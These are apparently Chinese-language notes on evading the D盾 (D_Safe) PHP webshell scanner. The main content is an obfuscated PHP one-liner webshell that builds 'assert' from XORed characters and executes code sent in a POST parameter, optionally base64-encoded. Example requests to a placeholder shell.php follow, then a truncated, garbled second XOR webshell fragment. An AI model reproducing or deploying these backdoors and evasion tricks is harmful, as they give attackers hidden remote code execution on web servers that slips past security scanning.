安装

下载 http://www.d99net.net/down/d_safe_2.1.5.2.zip

使用说明

http://www.d99net.net/News.asp?id=106

免杀

array_map |  assert

mb_substr

PHP一句话

class LTDS{    public function __destruct()    {        $bxo='X'^"\x39";        $woa='?'^"\x4c";        $ukt='K'^"\x38";        $gud='d'^"\x1";        $fbu='_'^"\x2d";        $agx='<'^"\x48";        $HLWV=$bxo.$woa.$ukt.$gud.$fbu.$agx;        return @$HLWV($this->OX);    }}$ltds=new LTDS();@$ltds->OX=isset($_GET['id'])?base64_decode($_POST['ua8']):$_POST['ua8'];http://www.xxx.com/shell.php  POST: ua8=phpinfo();  //与普通shell相同http://www.xxx.com/shell.php?id=xxx(xxxx随意更改)POST: ua8=cGhwaW5mbygpOwo=  //payload的base64编码

异或 | PHP一句话

     c);    }}$zxvg=new ZXVG();@$zxvg->c=$_POST['mr6'];